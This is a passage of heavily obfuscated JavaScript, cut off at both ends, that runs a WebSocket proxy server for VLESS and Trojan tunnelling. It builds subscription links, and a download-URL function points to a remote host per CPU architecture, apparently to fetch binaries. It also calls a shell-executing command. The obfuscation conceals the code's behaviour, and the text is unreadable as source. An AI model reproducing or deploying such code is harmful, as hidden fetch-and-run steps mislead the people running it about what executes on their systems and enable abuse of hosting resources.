_0x52558d,_0x4913ec;if(_0x18c763===-0x23ce+-0x1f7*0x9+-0x2*-0x1abf){if(_0x2d878b[_0x335a3d(0x5d3,0x512,_0x512218._0x3f6956,_0x512218._0x571a23)](_0x2d878b['KgqtP'],_0x2d878b[_0x335a3d(0x545,_0x512218._0x471d70,_0x512218._0x1f3361,_0x512218._0x42e15b)])){const _0x577e88=_0x3aa6f4[_0x452e20];_0xea8f5a+=0x9*0xb2+-0x4*-0x277+-0x4b*0x37,_0xeeca57=_0xe574c1['slice'](_0x299148,_0x2d878b['HNwzJ'](_0x4845b0,_0x577e88))[_0x2547bf(_0x512218._0x436da0,_0x512218._0xc7610f,-_0x512218._0x1e3f34,_0x512218._0x5773b5)](),_0x6b4c65+=_0x577e88;}else _0x52558d=_0xcd94ce['slice'](_0x24953e,_0x24953e+(-0x248f+0x487*0x3+0x16fe))[_0x335a3d(_0x512218._0x51aba3,_0x512218._0x1c8bda,0x5b6,_0x512218._0x103310)]('.'),_0x24953e+=0xb*0x1cf+-0x1*-0x1d12+-0x30f3;}else{if(_0x2d878b[_0x2547bf(0x72,_0x512218._0x4f9843,_0x512218._0x538e2f,-_0x512218._0x41277f)](_0x18c763,0x1*-0x11+0x4d9+-0x21*0x25)){if(_0x2d878b['hqVlo'](_0x2d878b[_0x335a3d(_0x512218._0x1b4c79,_0x512218._0x437e7f,_0x512218._0x4819e9,_0x512218._0x41e347)],_0x2d878b[_0x335a3d(_0x512218._0x1f3361,_0x512218._0x5c3d77,_0x512218._0x102aab,_0x512218._0x3836d7)])){const _0x29bbe8=_0x10061c?_0x761ba8+'-'+_0x3a0df4:_0x1f101d,_0x101925=_0x335a3d(_0x512218._0x4fae26,_0x512218._0x4dbdf0,0x53b,_0x512218._0x2bb1f8)+_0x203fbe+'@'+_0x2f339f+':443?encryption=none&security=tls&sni='+_0xb7ec23+'&fp=chrome&type=ws&host='+_0x5899d9+_0x2547bf(_0x512218._0x130217,0x9e,_0x512218._0x1a04c4,_0x512218._0x9219f)+_0x38d12e+'#'+_0x29bbe8,_0x27558e=_0x2547bf(0x20,_0x512218._0x1120a7,0xf0,_0x512218._0x2254a5)+_0x1f241d+'@'+_0x4547e2+_0x335a3d(_0x512218._0x39ca1c,0x4e0,_0x512218._0x25fc77,_0x512218._0x1c530c)+_0x3b63a3+'&fp=chrome&type=ws&host='+_0x421903+'&path=%2F'+_0x5f1332+'#'+_0x29bbe8,_0x158342=_0x2d878b[_0x2547bf(_0x512218._0x428ffa,_0x512218._0x2fc6af,-0x15,_0x512218._0x62d003)](_0x101925+'\x0a',_0x27558e),_0x2dd2b6=_0x40f857[_0x2547bf(_0x512218._0x3deaf5,-_0x512218._0xc8deea,-_0x512218._0x3d1106,0x7)](_0x158342)['toString'](_0x2547bf(-_0x512218._0x171780,-_0x512218._0x171780,_0x512218._0x232676,-_0x512218._0x556616)),_0x35b701={};_0x35b701[_0x2547bf(-0x3f,_0x512218._0x37dfcb,-_0x512218._0x96e1fa,-_0x512218._0xbc4f01)]=_0x2d878b[_0x335a3d(_0x512218._0x20a4c9,_0x512218._0x19afb7,_0x512218._0x1d8843,_0x512218._0x38f319)],_0x512566['writeHead'](0x156c+0x1*0x94a+0x1dee*-0x1,_0x35b701),_0x4a5ecf[_0x2547bf(_0x512218._0x2ef42d,-_0x512218._0x4c5435,-_0x512218._0x1477cc,-0x19)](_0x2d878b[_0x2547bf(0x14a,_0x512218._0x3d6cfa,_0x512218._0x21d821,_0x512218._0x4d0578)](_0x2dd2b6,'\x0a'));}else{const _0xe546bb=_0xcd94ce[_0x24953e];_0x24953e+=-0xe*0x155+-0x5e+0x1305,_0x52558d=_0xcd94ce['slice'](_0x24953e,_0x2d878b['iZfPN'](_0x24953e,_0xe546bb))[_0x2547bf(_0x512218._0x3a7157,-0x22,-0x1e,_0x512218._0x30697a)](),_0x24953e+=_0xe546bb;}}else{if(_0x18c763===0x1e75+-0x3*0x4fd+-0xf7a)_0x2d878b['qYPsM'](_0x2d878b[_0x2547bf(_0x512218._0x425906,_0x512218._0x59ba37,0x28,_0x512218._0x3375d5)],_0x2d878b[_0x2547bf(_0x512218._0x48760e,_0x512218._0x35b784,0xd8,0xa4)])?_0x19278f+=0x2539*0x1+0x4f*-0x35+-0xc*0x1bd:(_0x52558d=_0xcd94ce[_0x335a3d(_0x512218._0x3c5ec3,_0x512218._0x8bdc13,_0x512218._0x391d64,_0x512218._0x4ff51e)](_0x24953e,_0x24953e+(-0xde1+0x2602+0x1811*-0x1))['reduce']((_0x54c635,_0x2612d7,_0x5031b3,_0x1eae1f)=>_0x5031b3%(-0x35*0xa6+0x145e+0xa3*0x16)?_0x54c635[_0x335a3d(0x4b2,0x4ff,0x49d,0x461)](_0x1eae1f[_0x335a3d(0x487,0x461,0x4ba,0x507)](_0x5031b3-(-0x5cf+0x156a*0x1+0x7cd*-0x2),_0x5031b3+(0xab+-0x110b*-0x1+0x3*-0x5e7))):_0x54c635,[])[_0x335a3d(0x407,0x51a,_0x512218._0x3b7872,_0x512218._0x2773a6)](_0x19cb4f=>_0x19cb4f[_0x2547bf(0xbb,0x98,-0xe,0x73)](-0xf51*-0x2+0xef*0xd+-0x2ac5*0x1)['toString'](-0x1e64+-0x193f+0x37b3))[_0x335a3d(0x590,_0x512218._0x14432b,0x5b6,0x511)](':'),_0x24953e+=0x1fbe+0x172d*-0x1+-0x1*0x881);else{if(_0x2d878b['dQHUH'](_0x2d878b[_0x335a3d(_0x512218._0x413d6a,0x486,_0x512218._0x153931,_0x512218._0xe63d77)],_0x2d878b[_0x2547bf(-_0x512218._0x151f6b,_0x512218._0x9e77f6,-_0x512218._0x25b01e,_0x512218._0x1738a8)]))return![];else return;}}}_0x4913ec=_0xcd94ce[_0x335a3d(_0x512218._0x5e434c,_0x512218._0x2db827,0x540,_0x512218._0x59a9b9)](_0x24953e),_0x24953e+=-0x1033+-0xb6a+0x935*0x3;if(_0x24953e<_0xcd94ce[_0x2547bf(_0x512218._0x28b780,_0x512218._0x5c2b3b,0x17c,0xdd)]&&_0x2d878b[_0x335a3d(_0x512218._0x5a885b,_0x512218._0x338ddc,0x4af,_0x512218._0x357457)](_0xcd94ce[_0x24953e],-0x2ac*0x3+0x3a*-0x4b+0x190f)&&_0xcd94ce[_0x24953e+(0x22d8+0x1*-0x1459+-0x5*0x2e6)]===0x683*-0x2+-0x1522+0x2232){if(_0x2d878b[_0x2547bf(_0x512218._0x5e7055,_0x512218._0x569228,_0x512218._0x39f754,_0x512218._0x2f6d20)](_0x2d878b[_0x335a3d(0x5a4,0x4ee,_0x512218._0x1a9b14,_0x512218._0x4b175c)],_0x2d878b[_0x335a3d(_0x512218._0x457df7,_0x512218._0x3dce53,_0x512218._0x6a5aed,_0x512218._0x2f1502)])){if(_0x580f38)_0x48392a[_0x335a3d(_0x512218._0x445ba1,0x5dd,_0x512218._0x8b90b5,_0x512218._0x380a0c)](_0x2d878b['hzPBS'],_0x24a9a5);else _0x4d8598[_0x2547bf(_0x512218._0x379e99,0x105,0xd3,0xa3)](_0x2d878b[_0x2547bf(_0x512218._0x4c94e6,-_0x512218._0xa37678,_0x512218._0x3d6cfa,-_0x512218._0xa770a4)]);}else _0x24953e+=0x24db+0x16a+-0x2643;}const _0x3cf041=_0x2d878b[_0x2547bf(_0x512218._0x12b0c7,_0x512218._0x2a77c4,0x129,_0x512218._0x379e99)](createWebSocketStream,_0x508c69);return _0x2d878b['vjiLi'](resolveHost,_0x52558d)[_0x335a3d(0x4e9,0x478,_0x512218._0x4defb8,0x42f)](_0x1408fd=>{const _0xa92117={_0xdf6134:0x2f,_0x480cdf:0x9a,_0x4f669f:0x1a7},_0x3907c1={_0x7e0a93:0x1e8,_0x3a3db9:0x184,_0x3ca6b7:0x36d},_0x25a01b={_0x44c6df:0x1b2,_0x4e422a:0x595,_0x429a9d:0x1c9},_0xf7b039={_0x50acc1:0xdb,_0x245cc5:0x1},_0x144ea5={};_0x144ea5['host']=_0x1408fd;function _0x325710(_0x546ed0,_0x317a64,_0x5c34a5,_0x3d6a5f){return _0x2547bf(_0x546ed0-_0xf7b039._0x50acc1,_0x3d6a5f,_0x5c34a5-_0xf7b039._0x245cc5,_0x5c34a5- -0x104);}function _0x1e2b34(_0x1e36b0,_0x34b970,_0x4a968d,_0x3581fa){return _0x335a3d(_0x3581fa,_0x34b970-_0x25a01b._0x44c6df,_0x34b970- -_0x25a01b._0x4e422a,_0x3581fa-_0x25a01b._0x429a9d);}_0x144ea5[_0x1e2b34(-_0x483df5._0x562074,-_0x483df5._0x3f9b14,-_0x483df5._0x43d3e3,-0x16)]=_0x4913ec,net[_0x325710(-_0x483df5._0x3533e5,-_0x483df5._0x33950c,-_0x483df5._0x578819,-0x12d)](_0x144ea5,function(){function _0x8e70bd(_0x28fb50,_0x5a2e98,_0x25a935,_0x535f18){return _0x325710(_0x28fb50-_0x3907c1._0x7e0a93,_0x5a2e98-_0x3907c1._0x3a3db9,_0x25a935-_0x3907c1._0x3ca6b7,_0x535f18);}function _0x4c5165(_0x53da1e,_0x472b60,_0x49481d,_0xa4cd6d){return _0x325710(_0x53da1e-_0xa92117._0xdf6134,_0x472b60-_0xa92117._0x480cdf,_0x53da1e-_0xa92117._0x4f669f,_0xa4cd6d);}_0x2d878b[_0x4c5165(_0x8a4b5c._0x4f3185,0x165,_0x8a4b5c._0x2fc5a2,0x165)](_0x24953e,_0xcd94ce[_0x8e70bd(_0x8a4b5c._0x558120,_0x8a4b5c._0x4292b8,_0x8a4b5c._0x371e8e,_0x8a4b5c._0x31410a)])&&this[_0x4c5165(_0x8a4b5c._0x39dd02,_0x8a4b5c._0x587912,_0x8a4b5c._0x29610b,_0x8a4b5c._0xd30882)](_0xcd94ce[_0x8e70bd(_0x8a4b5c._0x28dee6,_0x8a4b5c._0x327fad,_0x8a4b5c._0x59dc9e,_0x8a4b5c._0x187a44)](_0x24953e)),_0x3cf041['on'](_0x2d878b[_0x8e70bd(_0x8a4b5c._0x57c7a2,0x211,0x21a,_0x8a4b5c._0x65c639)],()=>{})[_0x4c5165(0x75,_0x8a4b5c._0x9b8720,_0x8a4b5c._0x42437e,0xcb)](this)['on'](_0x8e70bd(0x2c4,_0x8a4b5c._0x9cca53,0x2d3,_0x8a4b5c._0x65b8a0),()=>{})[_0x8e70bd(_0x8a4b5c._0x285980,_0x8a4b5c._0x46afae,_0x8a4b5c._0x498ea6,_0x8a4b5c._0x484d6c)](_0x3cf041);})['on']('error',()=>{});})[_0x335a3d(_0x512218._0x1ec5c7,0x4b1,_0x512218._0x271bad,_0x512218._0x59f2e9)](_0xe06c1f=>{const _0x4e7070={_0x2b3cf0:0x664,_0x434460:0x5a8,_0x5a504e:0x58a,_0x37e5d2:0x526,_0x12fe4d:0x51f,_0x679800:0x56e,_0x5e8d23:0x4ca,_0x3d670e:0x533,_0x18c4ba:0x4da,_0x5a3a52:0x488,_0x241a58:0x62f,_0x3c6807:0x524,_0x6da93b:0x544,_0x541bff:0x568},_0x17f200={_0x245e7d:0x44a,_0xa8e7f7:0x197},_0x26cc03={_0x1c0645:0x1cd,_0x2f8782:0x19a},_0x5af0c5={};function _0x4e3a3c(_0x49e8ae,_0x315c9a,_0x472c60,_0x344266){return _0x335a3d(_0x472c60,_0x315c9a-_0x26cc03._0x1c0645,_0x49e8ae-0x55,_0x344266-_0x26cc03._0x2f8782);}_0x5af0c5[_0x4e3a3c(0x53b,0x5b1,_0x1ad6ec._0xf5cd20,_0x1ad6ec._0xa9f6f7)]=_0x52558d;function _0x1eca71(_0x25c1b9,_0x3943a6,_0x57982d,_0x17a128){return _0x2547bf(_0x25c1b9-_0x4d22ef._0x21bdc9,_0x57982d,_0x57982d-_0x4d22ef._0x28bf0f,_0x3943a6-_0x4d22ef._0x591a99);}_0x5af0c5[_0x4e3a3c(_0x1ad6ec._0x3a63bf,_0x1ad6ec._0x2e3dfa,_0x1ad6ec._0x3f1c5f,0x594)]=_0x4913ec,net['connect'](_0x5af0c5,function(){const _0x5ba7c1={_0x55c3b7:0xb5,_0x4c5786:0x3fa,_0x4c5558:0x134};function _0x4b2a7a(_0x27d5d8,_0x56059e,_0x3ea36a,_0x41b382){return _0x1eca71(_0x27d5d8-0x1e9,_0x41b382-_0x17f200._0x245e7d,_0x3ea36a,_0x41b382-_0x17f200._0xa8e7f7);}function _0x2459ef(_0x33cba0,_0x4945c5,_0x238511,_0x1c95dc){return _0x1eca71(_0x33cba0-_0x5ba7c1._0x55c3b7,_0x238511-_0x5ba7c1._0x4c5786,_0x33cba0,_0x1c95dc-_0x5ba7c1._0x4c5558);}_0x2d878b[_0x4b2a7a(0x637,_0x4e7070._0x2b3cf0,_0x4e7070._0x434460,0x5e2)](_0x24953e,_0xcd94ce['length'])&&this[_0x4b2a7a(_0x4e7070._0x5a504e,_0x4e7070._0x37e5d2,_0x4e7070._0x12fe4d,_0x4e7070._0x679800)](_0xcd94ce[_0x2459ef(0x59a,_0x4e7070._0x5e8d23,_0x4e7070._0x3d670e,0x547)](_0x24953e)),_0x3cf041['on']('error',()=>{})[_0x2459ef(0x477,_0x4e7070._0x18c4ba,0x518,_0x4e7070._0x5a3a52)](this)['on'](_0x2459ef(_0x4e7070._0x241a58,0x593,0x5b0,_0x4e7070._0x3c6807),()=>{})[_0x4b2a7a(_0x4e7070._0x6da93b,0x5f9,0x527,_0x4e7070._0x541bff)](_0x3cf041);})['on']('error',()=>{});}),!![];}catch(_0x528883){if(_0x335a3d(0x4c6,_0x512218._0x1b169f,_0x512218._0x8bdc13,_0x512218._0x215f56)===_0x2d878b[_0x2547bf(-0xab,-_0x512218._0x489f35,-_0x512218._0x188d47,-_0x512218._0x56c881)])return![];else{const _0x2e1a39={_0x55389a:0x221,_0x230033:0x198,_0x551c66:0x1f5,_0x48b08e:0x202,_0x18a0b8:0x205,_0x4c5830:0x1f1,_0x220443:0x1e8,_0x242290:0x1ec,_0x4d10a4:0x19e,_0x15195e:0x24a,_0x2daf68:0x22e,_0x2336ae:0x9f,_0x322748:0xfa,_0x49ba8e:0x17f},_0x2f02b1={_0xeb0e9d:0x104,_0x4efc3f:0x342};_0x2d878b[_0x2547bf(-_0x512218._0x5a4a3e,-_0x512218._0x3375d5,-_0x512218._0x1460ba,-_0x512218._0x5e430a)](_0x5b44ad,_0x216622,{'shell':_0x2d878b['UuJiD']},_0x257c2b=>{const _0x3bdf38={_0x3cc62c:0x174,_0x3afa0b:0x386,_0x104df5:0x113};function _0x7c2589(_0x1197da,_0x47ce60,_0x440087,_0x16859d){return _0x335a3d(_0x440087,_0x47ce60-_0x2f02b1._0xeb0e9d,_0x16859d- -_0x2f02b1._0x4efc3f,_0x16859d-0xb8);}function _0xff4db2(_0x4557e8,_0x26c402,_0x2bc6f4,_0x2a5c35){return _0x335a3d(_0x4557e8,_0x26c402-_0x3bdf38._0x3cc62c,_0x2bc6f4- -_0x3bdf38._0x3afa0b,_0x2a5c35-_0x3bdf38._0x104df5);}if(_0x257c2b)_0x450578[_0x7c2589(_0x2e1a39._0x55389a,0x204,_0x2e1a39._0x230033,_0x2e1a39._0x551c66)](_0x7c2589(_0x2e1a39._0x48b08e,_0x2e1a39._0x18a0b8,_0x2e1a39._0x4c5830,_0x2e1a39._0x220443),_0x257c2b);else _0x45051a[_0x7c2589(_0x2e1a39._0x242290,_0x2e1a39._0x4d10a4,_0x2e1a39._0x15195e,_0x2e1a39._0x2daf68)](_0x2d878b[_0xff4db2(_0x2e1a39._0x2336ae,0x152,_0x2e1a39._0x322748,_0x2e1a39._0x49ba8e)]);});}}}wss['on'](_0x2e685e(-0xd1,-0xca,-0xdd,-0x116),(_0x57ce3b,_0x58cb93)=>{const _0x5c5c07={_0x496a53:0x326,_0x340b42:0x281,_0x1569fc:0x33f,_0x2cc462:0x314,_0x13174b:0x472,_0x4896c6:0x4f5,_0x12c66a:0x515,_0x5c41ee:0x544,_0x41e071:0x4a8,_0x1ee66e:0x5e8,_0x19640a:0x550,_0x6904ed:0x573,_0x1aec76:0x4e8,_0x51349c:0x1e2,_0xabcc9:0x141,_0x37cb84:0x1fb},_0x2e3705={_0x4edfc8:0x177,_0x3a7432:0x2ad,_0x1b7945:0x20b,_0x2b2bf8:0x2ea,_0x3e9412:0x24f,_0x26ee6e:0x1b4,_0x2745b7:0x57b,_0x1afe12:0x5c5,_0x238fc4:0x2f8,_0x31229e:0x342,_0x468e0c:0x392,_0x5c898c:0x5bd,_0x2b8be0:0x58c,_0x136b79:0x5c5,_0x140e28:0x596,_0x33bf51:0x60e,_0x1fcb38:0x5a8,_0x5b06b2:0x5ff,_0x2c4e3b:0x31c,_0x35f631:0x290,_0x316abf:0x286,_0x46cee2:0x5af,_0x48e11d:0x574,_0xd0194e:0x22b,_0x31bd0f:0x205,_0x153d71:0x59e,_0x39c487:0x62a,_0x249871:0x5e8,_0x88248d:0x32f,_0xfd6c9b:0x28a,_0x3316e0:0x629,_0x4fa07b:0x5af,_0x106f93:0x55f,_0x2c7347:0x680,_0x7e7175:0x5d9,_0x375007:0x618,_0x5f0d63:0x60a},_0x58d865={_0x59394b:0x127,_0x3662b7:0x135,_0x48da5c:0x118},_0x6aae6c={_0x1d4800:0xfe,_0x48420d:0x140},_0x728705={_0x4daee2:0x1c0,_0x424276:0xdc,_0x348758:0xc6},_0x489826={'eofEO':function(_0x4dea08,_0x594024,_0x53d949){return _0x4dea08(_0x594024,_0x53d949);},'dcHSO':_0x5717c1(_0x5c5c07._0x496a53,_0x5c5c07._0x340b42,_0x5c5c07._0x1569fc,_0x5c5c07._0x2cc462),'JgMbu':function(_0x295d4f,_0x6e7400){return _0x295d4f>_0x6e7400;},'JVMCT':function(_0xa7f18d,_0x28c6a8){return _0xa7f18d===_0x28c6a8;},'xrmxU':_0x47b752(_0x5c5c07._0x13174b,_0x5c5c07._0x4896c6,0x52e,_0x5c5c07._0x12c66a),'HNexC':function(_0x4cbf64,_0x2605ce,_0x2f455c){return _0x4cbf64(_0x2605ce,_0x2f455c);},'CAYCU':_0x47b752(0x4ba,_0x5c5c07._0x5c41ee,_0x5c5c07._0x41e071,_0x5c5c07._0x1ee66e)},_0x37e39f=_0x58cb93[_0x47b752(0x54f,_0x5c5c07._0x19640a,_0x5c5c07._0x6904ed,_0x5c5c07._0x1aec76)]||'';function _0x47b752(_0xd46f6e,_0x1b890c,_0x18585d,_0x20bdd7){return _0x282628(_0x1b890c-_0x728705._0x4daee2,_0x1b890c-_0x728705._0x424276,_0x18585d-_0x728705._0x348758,_0x18585d);}function _0x5717c1(_0x5d120f,_0x102ea1,_0x19fca3,_0x374327){return _0x2e685e(_0x5d120f-_0x6aae6c._0x1d4800,_0x5d120f-0x2cd,_0x19fca3-_0x6aae6c._0x48420d,_0x102ea1);}_0x57ce3b['once']('message',_0x3c13d7=>{const _0x4dc40f={_0x577a70:0x24,_0x3d9116:0x58,_0x55aaac:0xed},_0x1add2c={_0x5e38e5:0x6a,_0x57ee69:0x353},_0x2a8a87={_0x1f4254:0x130,_0x4a6e0d:0x181};function _0x31ae36(_0x4b1104,_0x5cd43b,_0x560357,_0x258e4d){return _0x47b752(_0x4b1104-_0x2a8a87._0x1f4254,_0x560357-0xad,_0x4b1104,_0x258e4d-_0x2a8a87._0x4a6e0d);}const _0x1c4885={'fURXL':_0x33cbb7(_0x2e3705._0x4edfc8,_0x2e3705._0x3a7432,_0x2e3705._0x1b7945,0x1a7),'bYBpW':function(_0x2293e7,_0x321927,_0x5089e1){function _0x10fc3e(_0x136a70,_0x19cefc,_0xd3efc4,_0x1a2eaa){return _0x33cbb7(_0x1a2eaa,_0x19cefc-_0x1add2c._0x5e38e5,_0xd3efc4- -_0x1add2c._0x57ee69,_0x1a2eaa-0x72);}return _0x489826[_0x10fc3e(-_0x58d865._0x59394b,-0x149,-_0x58d865._0x3662b7,-_0x58d865._0x48da5c)](_0x2293e7,_0x321927,_0x5089e1);},'tEnKW':_0x489826[_0x33cbb7(_0x2e3705._0x2b2bf8,0x1e5,_0x2e3705._0x3e9412,_0x2e3705._0x26ee6e)]};function _0x33cbb7(_0x2a6340,_0x5ce44f,_0x19eb25,_0x4664a7){return _0x5717c1(_0x19eb25-_0x4dc40f._0x577a70,_0x2a6340,_0x19eb25-_0x4dc40f._0x3d9116,_0x4664a7-_0x4dc40f._0x55aaac);}if(_0x489826[_0x31ae36(0x563,_0x2e3705._0x2745b7,0x5d7,_0x2e3705._0x1afe12)](_0x3c13d7[_0x33cbb7(_0x2e3705._0x238fc4,0x344,_0x2e3705._0x31229e,_0x2e3705._0x468e0c)],-0x1127*0x1+0x1a2d+-0x1*0x8f5)&&_0x3c13d7[-0xb0d+0x2246+-0x1739]===-0x1bb3*-0x1+-0x1189+-0xa2a){if(_0x489826[_0x31ae36(_0x2e3705._0x5c898c,_0x2e3705._0x2b8be0,0x52b,_0x2e3705._0x136b79)](_0x489826[_0x31ae36(_0x2e3705._0x140e28,_0x2e3705._0x33bf51,_0x2e3705._0x1fcb38,_0x2e3705._0x5b06b2)],_0x489826[_0x33cbb7(_0x2e3705._0x2c4e3b,_0x2e3705._0x35f631,_0x2e3705._0x316abf,0x218)])){const _0x31368a=_0x3c13d7[_0x31ae36(_0x2e3705._0x46cee2,0x577,_0x2e3705._0x48e11d,0x5bd)](-0x30e*-0x8+0x1f30+-0x379f,-0x1c8b+-0x1*0xa15+0x26b1),_0x17052b=_0x31368a[_0x33cbb7(0x1d3,0x1be,_0x2e3705._0xd0194e,_0x2e3705._0x31bd0f)]((_0x3641c8,_0x12791c)=>_0x3641c8==parseInt(uuid[_0x33cbb7(0x348,0x30d,0x2f3,0x297)](_0x12791c*(0x76d*-0x5+0xbb7+0x196c),-0x19ae+0xb02*-0x3+0x3ab6),-0x577*-0x2+0x2143+-0x2c21*0x1));if(_0x17052b){!handleVlessConnection(_0x57ce3b,_0x3c13d7)&&_0x57ce3b['close']();return;}}else{const _0x34847e={_0x344203:0x4dd,_0x22d3de:0x4ed,_0x3a18f1:0x3db,_0x3c1cf6:0x481},_0xbde6cd={'OCBPT':function(_0x7b66fc,_0x34122f){return _0x7b66fc(_0x34122f);},'sByOv':function(_0x5198a2){return _0x5198a2();}};_0x25c854[_0x31ae36(0x622,_0x2e3705._0x153d71,_0x2e3705._0x39c487,_0x2e3705._0x249871)](_0x1c4885[_0x33cbb7(0x298,0x34b,_0x2e3705._0x88248d,_0x2e3705._0xfd6c9b)]),_0x1c4885[_0x31ae36(0x62c,_0x2e3705._0x3316e0,_0x2e3705._0x4fa07b,_0x2e3705._0x106f93)](_0x44f622,_0x1c4885[_0x31ae36(_0x2e3705._0x2c7347,_0x2e3705._0x7e7175,_0x2e3705._0x375007,_0x2e3705._0x5f0d63)],_0x54691e=>{const _0x293c87={_0x18bef0:0xcb,_0x109535:0x1e7};function _0x2695e8(_0x20d167,_0x35a2c7,_0x455d6e,_0x164a90){return _0x33cbb7(_0x20d167,_0x35a2c7-_0x293c87._0x18bef0,_0x164a90-_0x293c87._0x109535,_0x164a90-0x106);}if(_0x54691e)_0xbde6cd[_0x2695e8(_0x34847e._0x344203,_0x34847e._0x22d3de,_0x34847e._0x3a18f1,_0x34847e._0x3c1cf6)](_0x584b7a,_0x54691e);_0xbde6cd['sByOv'](_0x2ad1f9);});}}!_0x489826['HNexC'](handleTrojanConnection,_0x57ce3b,_0x3c13d7)&&_0x57ce3b['close']();})['on'](_0x489826[_0x5717c1(_0x5c5c07._0x51349c,0x15c,_0x5c5c07._0xabcc9,_0x5c5c07._0x37cb84)],()=>{});});const getDownloadUrl=()=>{const _0x56bf1a={_0x5538a0:0x3b7,_0x54987e:0x438,_0x49925c:0x353,_0x4d1471:0x403,_0x511fef:0x38a,_0x5c6d0e:0x4a7,_0x5d3741:0x3f5,_0x4980bf:0x48d,_0x2f607e:0x430,_0x2c7b10:0x3a9,_0x1a9a40:0x3a1,_0x3f5247:0x34d,_0x65c10d:0x433,_0x2384b5:0x33f,_0x1900d1:0x3c6,_0x4e9393:0x36e,_0x3be6b8:0x368,_0x3d6c9e:0x3d4,_0x29b082:0x3cc,_0x203292:0x355,_0x24272c:0x2e1,_0x42f868:0x2ee,_0x287f8d:0x379,_0x1ab560:0x48a,_0x3ce543:0x413,_0x549ecb:0x3ed,_0x232833:0x441,_0x381da4:0x3ba,_0x24ea7e:0x3e7,_0x410242:0x41f,_0xe10204:0x37b,_0x28956e:0x482,_0x23b442:0x3e4,_0x412ee4:0x3d2,_0x37d5f7:0x3dd,_0x40f38d:0x40e,_0xd2ff7f:0x3e0,_0x42c7e8:0x382,_0x1bc7bf:0x34e,_0x113304:0x360,_0x2289c8:0x326,_0x540aa5:0x2ea,_0x1f2498:0x3af,_0x2a05b1:0x3b8,_0xa2509b:0x397,_0x541efe:0x376,_0xceef9a:0x434,_0x2d5875:0x4d5,_0x2549c1:0x439,_0x5a1fda:0x405,_0x182238:0x505,_0x541a26:0x40d,_0x3d9201:0x461,_0x552213:0x3e7,_0x1df3ca:0x480,_0x4894f0:0x40a,_0x54edfd:0x393,_0x34c416:0x401,_0x33922e:0x309,_0x2852c2:0x328,_0x43be0d:0x3dc,_0x3af44b:0x419,_0x359321:0x350,_0x17f78f:0x368,_0x2d707c:0x2fe,_0x940159:0x34c,_0xe158f1:0x368,_0x247e13:0x41a,_0x354729:0x36e,_0x3fcb02:0x381,_0x1386c1:0x41f,_0x2f1870:0x41e,_0x338d96:0x3de,_0x55fe55:0x33b,_0x67abcb:0x411,_0x354e44:0x381,_0x5779e6:0x3b5,_0x5cce59:0x47b,_0x4c926f:0x422,_0x5e560d:0x46e,_0x20c0e1:0x35c,_0x1631f4:0x32c,_0x56daae:0x2d4,_0x3c8aee:0x352,_0x2c354e:0x36b,_0x5175dd:0x3eb,_0x33521f:0x3e0,_0x9b933a:0x3c0,_0x488cd1:0x46b,_0x5aa71f:0x3ad,_0x1b4ed8:0x3df,_0x3abfb5:0x34d,_0x3db461:0x47d,_0x2f157f:0x34f,_0x53d44f:0x4c8,_0x5334e7:0x479,_0x4d1f15:0x461,_0x37d88e:0x456,_0x430743:0x3e3,_0x5a5753:0x43f,_0x284b04:0x389,_0x36ba21:0x315,_0x148db6:0x349,_0x3ad34c:0x3e2,_0x15befc:0x468,_0x1048f3:0x449,_0x3ad242:0x421,_0x472ff0:0x3fb,_0x497c6f:0x303,_0x66e5a9:0x305,_0x452fcc:0x40d,_0x5d6eb7:0x44a,_0x2edb61:0x418,_0xbf8a22:0x494,_0x1a4757:0x35d,_0x49a690:0x2f4,_0x4b500a:0x43d,_0x145313:0x499,_0x223e4c:0x40f,_0x4a26bf:0x3c8,_0x17621b:0x3e1,_0x300540:0x36c,_0x2114d9:0x37b},_0x5ee326={_0x5dc6a3:0x15c,_0x7960ed:0x417,_0x3bc83b:0xd6},_0x568ee7={_0x4629c3:0x8f,_0x4be7f1:0x18},_0x13b824={};_0x13b824[_0x37198f(_0x56bf1a._0x5538a0,0x370,_0x56bf1a._0x54987e,_0x56bf1a._0x49925c)]=function(_0x4e1405,_0x27f58c){return _0x4e1405<_0x27f58c;},_0x13b824[_0x37198f(_0x56bf1a._0x4d1471,0x458,_0x56bf1a._0x511fef,_0x56bf1a._0x5c6d0e)]=_0x37198f(_0x56bf1a._0x5d3741,_0x56bf1a._0x4980bf,_0x56bf1a._0x2f607e,_0x56bf1a._0x2c7b10),_0x13b824[_0x37198f(_0x56bf1a._0x1a9a40,_0x56bf1a._0x3f5247,_0x56bf1a._0x65c10d,_0x56bf1a._0x2384b5)]='arm',_0x13b824['Gqeou']='arm64',_0x13b824[_0x59c2ad(0x378,_0x56bf1a._0x1900d1,_0x56bf1a._0x4e9393,_0x56bf1a._0x3be6b8)]=function(_0x211eee,_0x52798e){return _0x211eee===_0x52798e;},_0x13b824[_0x37198f(_0x56bf1a._0x3d6c9e,0x445,0x399,_0x56bf1a._0x29b082)]=_0x37198f(_0x56bf1a._0x203292,_0x56bf1a._0x24272c,_0x56bf1a._0x42f868,_0x56bf1a._0x287f8d);function _0x59c2ad(_0x372ffd,_0x3bc78b,_0x33f350,_0x5b9849){return _0x282628(_0x5b9849-_0x568ee7._0x4629c3,_0x3bc78b-_0x568ee7._0x4be7f1,_0x33f350-0x1aa,_0x3bc78b);}_0x13b824[_0x59c2ad(_0x56bf1a._0x1ab560,0x35b,_0x56bf1a._0x3ce543,_0x56bf1a._0x549ecb)]=_0x37198f(_0x56bf1a._0x232833,_0x56bf1a._0x381da4,0x4e4,_0x56bf1a._0x24ea7e),_0x13b824[_0x37198f(_0x56bf1a._0x410242,_0x56bf1a._0xe10204,_0x56bf1a._0x28956e,_0x56bf1a._0x23b442)]=_0x37198f(_0x56bf1a._0x412ee4,0x402,_0x56bf1a._0x37d5f7,_0x56bf1a._0x40f38d),_0x13b824['DqOmJ']='https://arm64.ssss.nyc.mn/v1',_0x13b824['bqFdf']=function(_0x4cdf69,_0x3438fd){return _0x4cdf69!==_0x3438fd;};function _0x37198f(_0x2e438f,_0x12232a,_0x549222,_0x3634e7){return 